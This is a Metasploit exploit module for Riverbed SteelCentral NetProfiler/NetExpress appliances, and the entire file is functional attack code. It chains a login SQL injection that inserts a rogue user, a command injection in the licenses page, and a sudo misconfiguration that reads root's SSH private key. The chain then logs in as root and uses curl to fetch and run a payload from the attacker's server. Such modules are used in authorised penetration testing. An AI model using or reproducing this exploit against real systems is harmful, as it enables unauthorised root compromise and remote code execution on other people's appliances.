Riverbed SteelCentral NetProfiler & NetExpress Exploit Module
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new file: modules/exploits/linux/http/riverbed_netprofiler_netexpress_exec.rb
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Francesco
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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require 'digest'
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def initialize(info={})
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super(update_info(info,
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'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution",
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'Description' => %q{
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This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress
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virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form
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can be exploited to add a malicious user into the application's database. An attacker can then exploit a
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command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure
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configuration of the sudoers file can be abused to escalate privileges to root.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ],
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'References' =>
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[
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[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ]
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],
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'Platform' => 'linux',
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'Arch' => ARCH_X86_64,
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'Privileged' => false,
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'Targets' =>
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[
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[ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }]
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],
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'Privileged' => false,
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'DisclosureDate' => "Jun 27 2016",
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The target URI', '/']),
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OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']),
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OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']),
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OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
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Opt::RPORT(443)
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],
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self.class
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)
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end
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def check
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json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}";
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# Verifies existence of login SQLi
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
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'ctype' => 'application/json',
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'encode_params' => false,
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'data' => json_payload_check
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})
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if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT')
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Creating malicious user through login SQLi")
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create_user
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print_status("Attempting log in to target appliance")
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@sessid = do_login
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print_status("Confirming command injection vulnerability")
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test_cmd_inject
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vprint_status('Ready to execute payload on appliance')
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@elf_sent = false
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# Generate payload
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@pl = generate_payload_exe
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if @pl.nil?
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fail_with(Failure::BadConfig, 'Please select a valid Linux payload')
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end
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# Start the server and use primer to trigger fetching and running of the payload
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begin
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Timeout.timeout(datastore['HTTPDELAY']) { super }
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rescue Timeout::Error
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end
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end
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def get_nonce
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# Function to get nonce from login page
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path,'/index.php'),
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})
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if res && res.body && res.body.include?('nonce_')
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html = res.get_html_document
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nonce_field = html.at('input[@name="nonce"]')
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nonce = nonce_field.attributes["value"]
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else
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fail_with(Failure::Unknown, 'Unable to get login nonce.')
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end
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# needed as login nonce is bounded to preauth SESSID cookie
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sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
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return [nonce, sessid_cookie_preauth]
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end
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def create_user
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# Function exploiting login SQLi to create a malicious user
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username = datastore['RIVERBED_USER']
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password = datastore['RIVERBED_PASSWORD']
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usr_payload = generate_sqli_payload(username)
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pwd_hash = Digest::SHA512.hexdigest(password)
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pass_payload = generate_sqli_payload(pwd_hash)
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uid = rand(999)
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json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}";
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
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'ctype' => 'application/json',
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'encode_params' => false,
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'data' => json_payload_sqli
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})
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json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}";
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'),
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'ctype' => 'application/json',
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'encode_params' => false,
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'data' => json_payload_checkuser
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})
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if res && res.body && res.body.include?('session_id')
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print_status("User account successfully created, login credentials: '#{username}':'#{password}'")
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else
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fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
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end
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end
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def generate_sqli_payload(input)
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# Function to generate sqli payload for user/pass in expected format
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payload = ''
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input_array = input.strip.split('')
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for index in 0..input_array.length-1
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payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||'
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end
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# Gets rid of the trailing '||' and newline
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payload = payload[0..-3]
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return payload
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end
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def do_login
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# Function used to login and create a valid session
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uname = datastore['RIVERBED_USER']
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passwd = datastore['RIVERBED_PASSWORD']
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nonce, sessid_cookie_preauth = get_nonce
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post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/index.php'),
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'cookie' => "SESSID=#{sessid_cookie_preauth}",
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'ctype' => 'application/x-www-form-urlencoded',
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'encode_params' => false,
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'data' => post_data
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})
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if res && res.body && res.body.include?('<form name="login"')
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fail_with(Failure::UnexpectedReply, 'Could not login')
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else
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print_status("Successfully logged in")
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sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || ''
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end
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return sessid_cookie
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end
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def test_cmd_inject
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post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
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'cookie' => "SESSID=#{@sessid}",
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'ctype' => 'application/x-www-form-urlencoded',
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'encode_params' => false,
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'data' => post_data
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})
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unless res && res.body.include?('uid=')
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fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
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end
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end
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def cmd_inject(cmd)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
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'cookie' => "SESSID=#{@sessid}",
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'ctype' => 'application/x-www-form-urlencoded',
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'encode_params' => false,
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'data' => cmd
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})
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end
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# Deliver payload to appliance and make it run it
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def primer
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# Gets the autogenerated uri
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payload_uri = get_uri
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root_ssh_key_private = rand_text_alpha_lower(8)
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binary_payload = rand_text_alpha_lower(8)
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print_status("Privilege escalate to root and execute payload")
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privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken; sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'"
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cmd_inject(privesc_exec_cmd)
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register_file_for_cleanup("/tmp/#{root_ssh_key_private}")
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register_file_for_cleanup("/tmp/#{binary_payload}")
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vprint_status('Finished primer hook, raising Timeout::Error manually')
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raise(Timeout::Error)
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end
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#Handle incoming requests from the server
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def on_request_uri(cli, request)
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vprint_status("on_request_uri called: #{request.inspect}")
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print_status('Sending the payload to the server...')
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@elf_sent = true
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send_response(cli, @pl)
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end
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end
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